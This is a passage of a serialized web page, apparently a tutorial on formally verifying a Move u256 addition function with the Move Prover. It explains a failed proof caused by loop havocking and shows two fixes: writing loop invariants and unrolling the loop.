:24,"tag":83,"props":10315,"children":10316},{"class":85,"line":256},[10317,10321],{"type":24,"tag":83,"props":10318,"children":10319},{"style":143},[10320],{"type":29,"value":10163},{"type":24,"tag":83,"props":10322,"children":10323},{"style":107},[10324],{"type":29,"value":10325},"     }\n",{"type":24,"tag":83,"props":10327,"children":10328},{"class":85,"line":270},[10329],{"type":24,"tag":83,"props":10330,"children":10331},{"style":101},[10332],{"type":29,"value":10333},"╰─────^\n",{"type":24,"tag":83,"props":10335,"children":10336},{"class":85,"line":302},[10337],{"type":24,"tag":83,"props":10338,"children":10339},{"emptyLinePlaceholder":16},[10340],{"type":29,"value":3422},{"type":24,"tag":83,"props":10342,"children":10343},{"class":85,"line":324},[10344],{"type":24,"tag":83,"props":10345,"children":10346},{"style":107},[10347],{"type":29,"value":10065},{"type":24,"tag":83,"props":10349,"children":10350},{"class":85,"line":345},[10351],{"type":24,"tag":83,"props":10352,"children":10353},{"emptyLinePlaceholder":16},[10354],{"type":29,"value":3422},{"type":24,"tag":83,"props":10356,"children":10357},{"class":85,"line":358},[10358,10363,10368],{"type":24,"tag":83,"props":10359,"children":10360},{"style":101},[10361],{"type":29,"value":10362}," at",{"type":24,"tag":83,"props":10364,"children":10365},{"style":187},[10366],{"type":29,"value":10367}," ./sources/u256.move:316:",{"type":24,"tag":83,"props":10369,"children":10370},{"style":187},[10371],{"type":29,"value":10372}," add\n",{"type":24,"tag":83,"props":10374,"children":10375},{"class":85,"line":367},[10376,10381,10386,10391,10395,10400,10404,10409,10414,10419,10424,10429],{"type":24,"tag":83,"props":10377,"children":10378},{"style":101},[10379],{"type":29,"value":10380}," enter",{"type":24,"tag":83,"props":10382,"children":10383},{"style":187},[10384],{"type":29,"value":10385}," loop,",{"type":24,"tag":83,"props":10387,"children":10388},{"style":187},[10389],{"type":29,"value":10390}," variable",{"type":24,"tag":83,"props":10392,"children":10393},{"style":107},[10394],{"type":29,"value":558},{"type":24,"tag":83,"props":10396,"children":10397},{"style":101},[10398],{"type":29,"value":10399},"s",{"type":24,"tag":83,"props":10401,"children":10402},{"style":107},[10403],{"type":29,"value":633},{"type":24,"tag":83,"props":10405,"children":10406},{"style":187},[10407],{"type":29,"value":10408},"carry,",{"type":24,"tag":83,"props":10410,"children":10411},{"style":187},[10412],{"type":29,"value":10413}," i,",{"type":24,"tag":83,"props":10415,"children":10416},{"style":187},[10417],{"type":29,"value":10418}," ret",{"type":24,"tag":83,"props":10420,"children":10421},{"style":187},[10422],{"type":29,"value":10423}," havocked",{"type":24,"tag":83,"props":10425,"children":10426},{"style":187},[10427],{"type":29,"value":10428}," and",{"type":24,"tag":83,"props":10430,"children":10431},{"style":187},[10432],{"type":29,"value":10433}," reassigned\n",{"type":24,"tag":83,"props":10435,"children":10436},{"class":85,"line":406},[10437,10442,10446],{"type":24,"tag":83,"props":10438,"children":10439},{"style":101},[10440],{"type":29,"value":10441},"     carry",{"type":24,"tag":83,"props":10443,"children":10444},{"style":187},[10445],{"type":29,"value":146},{"type":24,"tag":83,"props":10447,"children":10448},{"style":245},[10449],{"type":29,"value":10450}," 54\n",{"type":24,"tag":83,"props":10452,"children":10453},{"class":85,"line":427},[10454,10459,10463],{"type":24,"tag":83,"props":10455,"children":10456},{"style":101},[10457],{"type":29,"value":10458},"     i",{"type":24,"tag":83,"props":10460,"children":10461},{"style":187},[10462],{"type":29,"value":146},{"type":24,"tag":83,"props":10464,"children":10465},{"style":245},[10466],{"type":29,"value":10467}," 3792\n",{"type":24,"tag":83,"props":10469,"children":10470},{"class":85,"line":440},[10471,10476,10480,10485,10489,10494,10499,10503,10508,10513,10517,10522,10527,10531,10536],{"type":24,"tag":83,"props":10472,"children":10473},{"style":101},[10474],{"type":29,"value":10475},"     ret",{"type":24,"tag":83,"props":10477,"children":10478},{"style":187},[10479],{"type":29,"value":146},{"type":24,"tag":83,"props":10481,"children":10482},{"style":187},[10483],{"type":29,"value":10484}," u256.U256{v0",{"type":24,"tag":83,"props":10486,"children":10487},{"style":187},[10488],{"type":29,"value":146},{"type":24,"tag":83,"props":10490,"children":10491},{"style":187},[10492],{"type":29,"value":10493}," 26418,",{"type":24,"tag":83,"props":10495,"children":10496},{"style":187},[10497],{"type":29,"value":10498}," v1",{"type":24,"tag":83,"props":10500,"children":10501},{"style":187},[10502],{"type":29,"value":146},{"type":24,"tag":83,"props":10504,"children":10505},{"style":187},[10506],{"type":29,"value":10507}," 27938,",{"type":24,"tag":83,"props":10509,"children":10510},{"style":187},[10511],{"type":29,"value":10512}," v2",{"type":24,"tag":83,"props":10514,"children":10515},{"style":187},[10516],{"type":29,"value":146},{"type":24,"tag":83,"props":10518,"children":10519},{"style":187},[10520],{"type":29,"value":10521}," 6900,",{"type":24,"tag":83,"props":10523,"children":10524},{"style":187},[10525],{"type":29,"value":10526}," v3",{"type":24,"tag":83,"props":10528,"children":10529},{"style":187},[10530],{"type":29,"value":146},{"type":24,"tag":83,"props":10532,"children":10533},{"style":245},[10534],{"type":29,"value":10535}," 1999",{"type":24,"tag":83,"props":10537,"children":10538},{"style":187},[10539],{"type":29,"value":464},{"type":24,"tag":83,"props":10541,"children":10542},{"class":85,"line":449},[10543,10547,10552],{"type":24,"tag":83,"props":10544,"children":10545},{"style":101},[10546],{"type":29,"value":10362},{"type":24,"tag":83,"props":10548,"children":10549},{"style":187},[10550],{"type":29,"value":10551}," ./sources/u256.move:346:",{"type":24,"tag":83,"props":10553,"children":10554},{"style":187},[10555],{"type":29,"value":10372},{"type":24,"tag":83,"props":10557,"children":10558},{"class":85,"line":458},[10559],{"type":24,"tag":83,"props":10560,"children":10561},{"style":101},[10562],{"type":29,"value":10563},"     ABORTED\n",{"type":24,"tag":83,"props":10565,"children":10566},{"class":85,"line":1065},[10567],{"type":24,"tag":83,"props":10568,"children":10569},{"emptyLinePlaceholder":16},[10570],{"type":29,"value":3422},{"type":24,"tag":83,"props":10572,"children":10573},{"class":85,"line":1668},[10574,10579,10584,10588,10593,10598,10603,10607,10612,10616],{"type":24,"tag":83,"props":10575,"children":10576},{"style":101},[10577],{"type":29,"value":10578},"FAILURE",{"type":24,"tag":83,"props":10580,"children":10581},{"style":187},[10582],{"type":29,"value":10583}," proving",{"type":24,"tag":83,"props":10585,"children":10586},{"style":245},[10587],{"type":29,"value":295},{"type":24,"tag":83,"props":10589,"children":10590},{"style":187},[10591],{"type":29,"value":10592}," modules",{"type":24,"tag":83,"props":10594,"children":10595},{"style":187},[10596],{"type":29,"value":10597}," from",{"type":24,"tag":83,"props":10599,"children":10600},{"style":187},[10601],{"type":29,"value":10602}," package",{"type":24,"tag":83,"props":10604,"children":10605},{"style":187},[10606],{"type":29,"value":10120},{"type":24,"tag":83,"props":10608,"children":10609},{"style":101},[10610],{"type":29,"value":10611},"u256",{"type":24,"tag":83,"props":10613,"children":10614},{"style":187},[10615],{"type":29,"value":10129},{"type":24,"tag":83,"props":10617,"children":10618},{"style":107},[10619],{"type":29,"value":10620}," in 9.143s\n",{"type":24,"tag":83,"props":10622,"children":10623},{"class":85,"line":1713},[10624],{"type":24,"tag":83,"props":10625,"children":10626},{"style":107},[10627],{"type":29,"value":10628},"{\n",{"type":24,"tag":83,"props":10630,"children":10631},{"class":85,"line":1730},[10632,10637,10641],{"type":24,"tag":83,"props":10633,"children":10634},{"style":101},[10635],{"type":29,"value":10636},"    \"Error\"",{"type":24,"tag":83,"props":10638,"children":10639},{"style":101},[10640],{"type":29,"value":195},{"type":24,"tag":83,"props":10642,"children":10643},{"style":187},[10644],{"type":29,"value":10645}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":83,"props":10647,"children":10648},{"class":85,"line":1770},[10649],{"type":24,"tag":83,"props":10650,"children":10651},{"style":107},[10652],{"type":29,"value":464},{"type":24,"tag":25,"props":10654,"children":10655},{},[10656,10658,10663],{"type":29,"value":10657},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":32,"props":10659,"children":10661},{"className":10660},[],[10662],{"type":29,"value":8070},{"type":29,"value":10664}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":25,"props":10666,"children":10667},{},[10668,10670,10676],{"type":29,"value":10669},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":32,"props":10671,"children":10673},{"className":10672},[],[10674],{"type":29,"value":10675},"ret havocked and reassigned",{"type":29,"value":161},{"type":24,"tag":25,"props":10678,"children":10679},{},[10680],{"type":29,"value":10681},"What does this mean?",{"type":24,"tag":25,"props":10683,"children":10684},{},[10685,10687,10694],{"type":29,"value":10686},"By diving into the Move Prover source, we find a ",{"type":24,"tag":2033,"props":10688,"children":10691},{"href":10689,"rel":10690},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[2037],[10692],{"type":29,"value":10693},"likely suspect",{"type":29,"value":10695},". The prover attempts to prove all loops with induction!",{"type":24,"tag":25,"props":10697,"children":10698},{},[10699],{"type":29,"value":10700},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":63,"props":10702,"children":10703},{},[10704,10709],{"type":24,"tag":67,"props":10705,"children":10706},{},[10707],{"type":29,"value":10708},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":67,"props":10710,"children":10711},{},[10712],{"type":29,"value":10713},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":25,"props":10715,"children":10716},{},[10717,10719,10724,10726,10732,10733,10739,10740,10745,10747,10752],{"type":29,"value":10718},"The loop prover will also ",{"type":24,"tag":2040,"props":10720,"children":10721},{},[10722],{"type":29,"value":10723},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":10725},". Going back to the log message, this implies that the variables ",{"type":24,"tag":32,"props":10727,"children":10729},{"className":10728},[],[10730],{"type":29,"value":10731},"carry",{"type":29,"value":568},{"type":24,"tag":32,"props":10734,"children":10736},{"className":10735},[],[10737],{"type":29,"value":10738},"ret",{"type":29,"value":2287},{"type":24,"tag":32,"props":10741,"children":10743},{"className":10742},[],[10744],{"type":29,"value":3482},{"type":29,"value":10746}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":32,"props":10748,"children":10750},{"className":10749},[],[10751],{"type":29,"value":9384},{"type":29,"value":10753}," makes no sense.",{"type":24,"tag":25,"props":10755,"children":10756},{},[10757],{"type":29,"value":10758},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":63,"props":10760,"children":10761},{},[10762,10767,10772,10777,10782,10787],{"type":24,"tag":67,"props":10763,"children":10764},{},[10765],{"type":29,"value":10766},"Assert the loop invariant",{"type":24,"tag":67,"props":10768,"children":10769},{},[10770],{"type":29,"value":10771},"Havoc all modified variables",{"type":24,"tag":67,"props":10773,"children":10774},{},[10775],{"type":29,"value":10776},"Assume the loop invariant",{"type":24,"tag":67,"props":10778,"children":10779},{},[10780],{"type":29,"value":10781},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":67,"props":10783,"children":10784},{},[10785],{"type":29,"value":10786},"Run the loop body",{"type":24,"tag":67,"props":10788,"children":10789},{},[10790],{"type":29,"value":10766},{"type":24,"tag":25,"props":10792,"children":10793},{},[10794],{"type":29,"value":10795},"There are two approaches to dealing with loops.",{"type":24,"tag":25,"props":10797,"children":10798},{},[10799],{"type":29,"value":10800},"The first would be to specify a loop invariant.",{"type":24,"tag":25,"props":10802,"children":10803},{},[10804,10806,10813],{"type":29,"value":10805},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":24,"tag":2033,"props":10807,"children":10810},{"href":10808,"rel":10809},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[2037],[10811],{"type":29,"value":10812},"previous post",{"type":29,"value":161},{"type":24,"tag":73,"props":10815,"children":10817},{"code":10816,"language":2724,"meta":7,"className":2725,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[10818],{"type":24,"tag":32,"props":10819,"children":10820},{"__ignoreMap":7},[10821,10833,10844,10880,10903,10986,10993,11017,11025,11045,11065,11156,11163,11191],{"type":24,"tag":83,"props":10822,"children":10823},{"class":85,"line":86},[10824,10829],{"type":24,"tag":83,"props":10825,"children":10826},{"style":117},[10827],{"type":29,"value":10828},"  while",{"type":24,"tag":83,"props":10830,"children":10831},{"style":107},[10832],{"type":29,"value":8277},{"type":24,"tag":83,"props":10834,"children":10835},{"class":85,"line":113},[10836,10840],{"type":24,"tag":83,"props":10837,"children":10838},{"style":137},[10839],{"type":29,"value":8673},{"type":24,"tag":83,"props":10841,"children":10842},{"style":107},[10843],{"type":29,"value":125},{"type":24,"tag":83,"props":10845,"children":10846},{"class":85,"line":128},[10847,10852,10856,10860,10864,10868,10872,10876],{"type":24,"tag":83,"props":10848,"children":10849},{"style":137},[10850],{"type":29,"value":10851},"          invariant",{"type":24,"tag":83,"props":10853,"children":10854},{"style":101},[10855],{"type":29,"value":8302},{"type":24,"tag":83,"props":10857,"children":10858},{"style":107},[10859],{"type":29,"value":558},{"type":24,"tag":83,"props":10861,"children":10862},{"style":137},[10863],{"type":29,"value":8311},{"type":24,"tag":83,"props":10865,"children":10866},{"style":107},[10867],{"type":29,"value":633},{"type":24,"tag":83,"props":10869,"children":10870},{"style":143},[10871],{"type":29,"value":8320},{"type":24,"tag":83,"props":10873,"children":10874},{"style":137},[10875],{"type":29,"value":3142},{"type":24,"tag":83,"props":10877,"children":10878},{"style":107},[10879],{"type":29,"value":321},{"type":24,"tag":83,"props":10881,"children":10882},{"class":85,"line":183},[10883,10887,10891,10895,10899],{"type":24,"tag":83,"props":10884,"children":10885},{"style":137},[10886],{"type":29,"value":10851},{"type":24,"tag":83,"props":10888,"children":10889},{"style":137},[10890],{"type":29,"value":3142},{"type":24,"tag":83,"props":10892,"children":10893},{"style":143},[10894],{"type":29,"value":7942},{"type":24,"tag":83,"props":10896,"children":10897},{"style":137},[10898],{"type":29,"value":8232},{"type":24,"tag":83,"props":10900,"children":10901},{"style":107},[10902],{"type":29,"value":321},{"type":24,"tag":83,"props":10904,"children":10905},{"class":85,"line":203},[10906,10910,10914,10918,10922,10926,10930,10934,10938,10942,10946,10950,10954,10958,10962,10966,10970,10974,10978,10982],{"type":24,"tag":83,"props":10907,"children":10908},{"style":137},[10909],{"type":29,"value":10851},{"type":24,"tag":83,"props":10911,"children":10912},{"style":137},[10913],{"type":29,"value":8363},{"type":24,"tag":83,"props":10915,"children":10916},{"style":137},[10917],{"type":29,"value":8368},{"type":24,"tag":83,"props":10919,"children":10920},{"style":90},[10921],{"type":29,"value":2787},{"type":24,"tag":83,"props":10923,"children":10924},{"style":245},[10925],{"type":29,"value":248},{"type":24,"tag":83,"props":10927,"children":10928},{"style":143},[10929],{"type":29,"value":2796},{"type":24,"tag":83,"props":10931,"children":10932},{"style":137},[10933],{"type":29,"value":3482},{"type":24,"tag":83,"props":10935,"children":10936},{"style":143},[10937],{"type":29,"value":195},{"type":24,"tag":83,"props":10939,"children":10940},{"style":137},[10941],{"type":29,"value":8167},{"type":24,"tag":83,"props":10943,"children":10944},{"style":107},[10945],{"type":29,"value":1161},{"type":24,"tag":83,"props":10947,"children":10948},{"style":137},[10949],{"type":29,"value":8401},{"type":24,"tag":83,"props":10951,"children":10952},{"style":107},[10953],{"type":29,"value":1270},{"type":24,"tag":83,"props":10955,"children":10956},{"style":143},[10957],{"type":29,"value":8320},{"type":24,"tag":83,"props":10959,"children":10960},{"style":137},[10961],{"type":29,"value":8414},{"type":24,"tag":83,"props":10963,"children":10964},{"style":107},[10965],{"type":29,"value":1161},{"type":24,"tag":83,"props":10967,"children":10968},{"style":137},[10969],{"type":29,"value":8401},{"type":24,"tag":83,"props":10971,"children":10972},{"style":107},[10973],{"type":29,"value":1270},{"type":24,"tag":83,"props":10975,"children":10976},{"style":143},[10977],{"type":29,"value":4315},{"type":24,"tag":83,"props":10979,"children":10980},{"style":137},[10981],{"type":29,"value":8232},{"type":24,"tag":83,"props":10983,"children":10984},{"style":107},[10985],{"type":29,"value":321},{"type":24,"tag":83,"props":10987,"children":10988},{"class":85,"line":212},[10989],{"type":24,"tag":83,"props":10990,"children":10991},{"style":107},[10992],{"type":29,"value":8665},{"type":24,"tag":83,"props":10994,"children":10995},{"class":85,"line":256},[10996,11001,11005,11009,11013],{"type":24,"tag":83,"props":10997,"children":10998},{"style":107},[10999],{"type":29,"value":11000},"      (",{"type":24,"tag":83,"props":11002,"children":11003},{"style":137},[11004],{"type":29,"value":3482},{"type":24,"tag":83,"props":11006,"children":11007},{"style":143},[11008],{"type":29,"value":8463},{"type":24,"tag":83,"props":11010,"children":11011},{"style":137},[11012],{"type":29,"value":8232},{"type":24,"tag":83,"props":11014,"children":11015},{"style":107},[11016],{"type":29,"value":2905},{"type":24,"tag":83,"props":11018,"children":11019},{"class":85,"line":270},[11020],{"type":24,"tag":83,"props":11021,"children":11022},{"style":107},[11023],{"type":29,"value":11024},"  }) {\n",{"type":24,"tag":83,"props":11026,"children":11027},{"class":85,"line":302},[11028,11033,11037,11041],{"type":24,"tag":83,"props":11029,"children":11030},{"style":107},[11031],{"type":29,"value":11032},"      vector",{"type":24,"tag":83,"props":11034,"children":11035},{"style":143},[11036],{"type":29,"value":3226},{"type":24,"tag":83,"props":11038,"children":11039},{"style":101},[11040],{"type":29,"value":8496},{"type":24,"tag":83,"props":11042,"children":11043},{"style":107},[11044],{"type":29,"value":3208},{"type":24,"tag":83,"props":11046,"children":11047},{"class":85,"line":324},[11048,11053,11057,11061],{"type":24,"tag":83,"props":11049,"children":11050},{"style":143},[11051],{"type":29,"value":11052},"          &",{"type":24,"tag":83,"props":11054,"children":11055},{"style":90},[11056],{"type":29,"value":3468},{"type":24,"tag":83,"props":11058,"children":11059},{"style":137},[11060],{"type":29,"value":8167},{"type":24,"tag":83,"props":11062,"children":11063},{"style":107},[11064],{"type":29,"value":989},{"type":24,"tag":83,"props":11066,"children":11067},{"class":85,"line":345},[11068,11072,11076,11080,11084,11088,11092,11096,11100,11104,11108,11112,11116,11120,11124,11128,11132,11136,11140,11144,11148,11152],{"type":24,"tag":83,"props":11069,"children":11070},{"style":107},[11071],{"type":29,"value":8454},{"type":24,"tag":83,"props":11073,"children":11074},{"style":143},[11075],{"type":29,"value":4315},{"type":24,"tag":83,"props":11077,"children":11078},{"style":107},[11079],{"type":29,"value":8537},{"type":24,"tag":83,"props":11081,"children":11082},{"style":143},[11083],{"type":29,"value":3226},{"type":24,"tag":83,"props":11085,"children":11086},{"style":101},[11087],{"type":29,"value":8546},{"type":24,"tag":83,"props":11089,"children":11090},{"style":107},[11091],{"type":29,"value":558},{"type":24,"tag":83,"props":11093,"children":11094},{"style":143},[11095],{"type":29,"value":2853},{"type":24,"tag":83,"props":11097,"children":11098},{"style":137},[11099],{"type":29,"value":8112},{"type":24,"tag":83,"props":11101,"children":11102},{"style":107},[11103],{"type":29,"value":8563},{"type":24,"tag":83,"props":11105,"children":11106},{"style":137},[11107],{"type":29,"value":3482},{"type":24,"tag":83,"props":11109,"children":11110},{"style":90},[11111],{"type":29,"value":8572},{"type":24,"tag":83,"props":11113,"children":11114},{"style":3163},[11115],{"type":29,"value":5606},{"type":24,"tag":83,"props":11117,"children":11118},{"style":107},[11119],{"type":29,"value":8581},{"type":24,"tag":83,"props":11121,"children":11122},{"style":90},[11123],{"type":29,"value":8586},{"type":24,"tag":83,"props":11125,"children":11126},{"style":3163},[11127],{"type":29,"value":8591},{"type":24,"tag":83,"props":11129,"children":11130},{"style":107},[11131],{"type":29,"value":633},{"type":24,"tag":83,"props":11133,"children":11134},{"style":143},[11135],{"type":29,"value":4315},{"type":24,"tag":83,"props":11137,"children":11138},{"style":107},[11139],{"type":29,"value":223},{"type":24,"tag":83,"props":11141,"children":11142},{"style":137},[11143],{"type":29,"value":8608},{"type":24,"tag":83,"props":11145,"children":11146},{"style":90},[11147],{"type":29,"value":8572},{"type":24,"tag":83,"props":11149,"children":11150},{"style":3163},[11151],{"type":29,"value":8591},{"type":24,"tag":83,"props":11153,"children":11154},{"style":107},[11155],{"type":29,"value":2905},{"type":24,"tag":83,"props":11157,"children":11158},{"class":85,"line":358},[11159],{"type":24,"tag":83,"props":11160,"children":11161},{"style":107},[11162],{"type":29,"value":6513},{"type":24,"tag":83,"props":11164,"children":11165},{"class":85,"line":367},[11166,11171,11175,11179,11183,11187],{"type":24,"tag":83,"props":11167,"children":11168},{"style":137},[11169],{"type":29,"value":11170},"      i",{"type":24,"tag":83,"props":11172,"children":11173},{"style":143},[11174],{"type":29,"value":146},{"type":24,"tag":83,"props":11176,"children":11177},{"style":137},[11178],{"type":29,"value":3142},{"type":24,"tag":83,"props":11180,"children":11181},{"style":143},[11182],{"type":29,"value":8649},{"type":24,"tag":83,"props":11184,"children":11185},{"style":245},[11186],{"type":29,"value":295},{"type":24,"tag":83,"props":11188,"children":11189},{"style":107},[11190],{"type":29,"value":321},{"type":24,"tag":83,"props":11192,"children":11193},{"class":85,"line":406},[11194],{"type":24,"tag":83,"props":11195,"children":11196},{"style":107},[11197],{"type":29,"value":11198},"  };\n",{"type":24,"tag":25,"props":11200,"children":11201},{},[11202,11204,11210,11212,11217,11219,11225],{"type":29,"value":11203},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":32,"props":11205,"children":11207},{"className":11206},[],[11208],{"type":29,"value":11209},"while",{"type":29,"value":11211}," loop. Note that because the loop invariant executes ",{"type":24,"tag":2655,"props":11213,"children":11214},{},[11215],{"type":29,"value":11216},"after",{"type":29,"value":11218}," the loop guard, so we need to account for an extra step with ",{"type":24,"tag":32,"props":11220,"children":11222},{"className":11221},[],[11223],{"type":29,"value":11224},"i \u003C= n_coins",{"type":29,"value":161},{"type":24,"tag":73,"props":11227,"children":11229},{"code":11228,"language":2724,"meta":7,"className":2725,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[11230],{"type":24,"tag":32,"props":11231,"children":11232},{"__ignoreMap":7},[11233,11244,11255,11290,11313,11396,11403,11426],{"type":24,"tag":83,"props":11234,"children":11235},{"class":85,"line":86},[11236,11240],{"type":24,"tag":83,"props":11237,"children":11238},{"style":117},[11239],{"type":29,"value":10828},{"type":24,"tag":83,"props":11241,"children":11242},{"style":107},[11243],{"type":29,"value":8277},{"type":24,"tag":83,"props":11245,"children":11246},{"class":85,"line":113},[11247,11251],{"type":24,"tag":83,"props":11248,"children":11249},{"style":137},[11250],{"type":29,"value":8673},{"type":24,"tag":83,"props":11252,"children":11253},{"style":107},[11254],{"type":29,"value":125},{"type":24,"tag":83,"props":11256,"children":11257},{"class":85,"line":128},[11258,11262,11266,11270,11274,11278,11282,11286],{"type":24,"tag":83,"props":11259,"children":11260},{"style":137},[11261],{"type":29,"value":10851},{"type":24,"tag":83,"props":11263,"children":11264},{"style":101},[11265],{"type":29,"value":8302},{"type":24,"tag":83,"props":11267,"children":11268},{"style":107},[11269],{"type":29,"value":558},{"type":24,"tag":83,"props":11271,"children":11272},{"style":137},[11273],{"type":29,"value":8311},{"type":24,"tag":83,"props":11275,"children":11276},{"style":107},[11277],{"type":29,"value":633},{"type":24,"tag":83,"props":11279,"children":11280},{"style":143},[11281],{"type":29,"value":8320},{"type":24,"tag":83,"props":11283,"children":11284},{"style":137},[11285],{"type":29,"value":3142},{"type":24,"tag":83,"props":11287,"children":11288},{"style":107},[11289],{"type":29,"value":321},{"type":24,"tag":83,"props":11291,"children":11292},{"class":85,"line":183},[11293,11297,11301,11305,11309],{"type":24,"tag":83,"props":11294,"children":11295},{"style":137},[11296],{"type":29,"value":10851},{"type":24,"tag":83,"props":11298,"children":11299},{"style":137},[11300],{"type":29,"value":3142},{"type":24,"tag":83,"props":11302,"children":11303},{"style":143},[11304],{"type":29,"value":7942},{"type":24,"tag":83,"props":11306,"children":11307},{"style":137},[11308],{"type":29,"value":8232},{"type":24,"tag":83,"props":11310,"children":11311},{"style":107},[11312],{"type":29,"value":321},{"type":24,"tag":83,"props":11314,"children":11315},{"class":85,"line":203},[11316,11320,11324,11328,11332,11336,11340,11344,11348,11352,11356,11360,11364,11368,11372,11376,11380,11384,11388,11392],{"type":24,"tag":83,"props":11317,"children":11318},{"style":137},[11319],{"type":29,"value":10851},{"type":24,"tag":83,"props":11321,"children":11322},{"style":137},[11323],{"type":29,"value":8363},{"type":24,"tag":83,"props":11325,"children":11326},{"style":137},[11327],{"type":29,"value":8368},{"type":24,"tag":83,"props":11329,"children":11330},{"style":90},[11331],{"type":29,"value":2787},{"type":24,"tag":83,"props":11333,"children":11334},{"style":245},[11335],{"type":29,"value":248},{"type":24,"tag":83,"props":11337,"children":11338},{"style":143},[11339],{"type":29,"value":2796},{"type":24,"tag":83,"props":11341,"children":11342},{"style":137},[11343],{"type":29,"value":3482},{"type":24,"tag":83,"props":11345,"children":11346},{"style":143},[11347],{"type":29,"value":195},{"type":24,"tag":83,"props":11349,"children":11350},{"style":137},[11351],{"type":29,"value":8167},{"type":24,"tag":83,"props":11353,"children":11354},{"style":107},[11355],{"type":29,"value":1161},{"type":24,"tag":83,"props":11357,"children":11358},{"style":137},[11359],{"type":29,"value":8401},{"type":24,"tag":83,"props":11361,"children":11362},{"style":107},[11363],{"type":29,"value":1270},{"type":24,"tag":83,"props":11365,"children":11366},{"style":143},[11367],{"type":29,"value":8320},{"type":24,"tag":83,"props":11369,"children":11370},{"style":137},[11371],{"type":29,"value":8414},{"type":24,"tag":83,"props":11373,"children":11374},{"style":107},[11375],{"type":29,"value":1161},{"type":24,"tag":83,"props":11377,"children":11378},{"style":137},[11379],{"type":29,"value":8401},{"type":24,"tag":83,"props":11381,"children":11382},{"style":107},[11383],{"type":29,"value":1270},{"type":24,"tag":83,"props":11385,"children":11386},{"style":143},[11387],{"type":29,"value":4315},{"type":24,"tag":83,"props":11389,"children":11390},{"style":137},[11391],{"type":29,"value":8232},{"type":24,"tag":83,"props":11393,"children":11394},{"style":107},[11395],{"type":29,"value":321},{"type":24,"tag":83,"props":11397,"children":11398},{"class":85,"line":212},[11399],{"type":24,"tag":83,"props":11400,"children":11401},{"style":107},[11402],{"type":29,"value":8665},{"type":24,"tag":83,"props":11404,"children":11405},{"class":85,"line":256},[11406,11410,11414,11418,11422],{"type":24,"tag":83,"props":11407,"children":11408},{"style":107},[11409],{"type":29,"value":11000},{"type":24,"tag":83,"props":11411,"children":11412},{"style":137},[11413],{"type":29,"value":3482},{"type":24,"tag":83,"props":11415,"children":11416},{"style":143},[11417],{"type":29,"value":8463},{"type":24,"tag":83,"props":11419,"children":11420},{"style":137},[11421],{"type":29,"value":8232},{"type":24,"tag":83,"props":11423,"children":11424},{"style":107},[11425],{"type":29,"value":2905},{"type":24,"tag":83,"props":11427,"children":11428},{"class":85,"line":270},[11429],{"type":24,"tag":83,"props":11430,"children":11431},{"style":107},[11432],{"type":29,"value":11024},{"type":24,"tag":25,"props":11434,"children":11435},{},[11436],{"type":29,"value":11437},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":25,"props":11439,"children":11440},{},[11441,11443,11448],{"type":29,"value":11442},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":32,"props":11444,"children":11446},{"className":11445},[],[11447],{"type":29,"value":9384},{"type":29,"value":11449}," function will always iterate exactly 4 times:",{"type":24,"tag":73,"props":11451,"children":11453},{"code":11452,"language":2724,"meta":7,"className":2725,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[11454],{"type":24,"tag":32,"props":11455,"children":11456},{"__ignoreMap":7},[11457,11465,11498,11505,11520,11527,11551,11575,11620,11664,11671],{"type":24,"tag":83,"props":11458,"children":11459},{"class":85,"line":86},[11460],{"type":24,"tag":83,"props":11461,"children":11462},{"style":2735},[11463],{"type":29,"value":11464},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":83,"props":11466,"children":11467},{"class":85,"line":113},[11468,11472,11477,11481,11485,11489,11494],{"type":24,"tag":83,"props":11469,"children":11470},{"style":90},[11471],{"type":29,"value":9401},{"type":24,"tag":83,"props":11473,"children":11474},{"style":107},[11475],{"type":29,"value":11476}," WORDS",{"type":24,"tag":83,"props":11478,"children":11479},{"style":143},[11480],{"type":29,"value":195},{"type":24,"tag":83,"props":11482,"children":11483},{"style":3163},[11484],{"type":29,"value":5606},{"type":24,"tag":83,"props":11486,"children":11487},{"style":143},[11488],{"type":29,"value":146},{"type":24,"tag":83,"props":11490,"children":11491},{"style":245},[11492],{"type":29,"value":11493}," 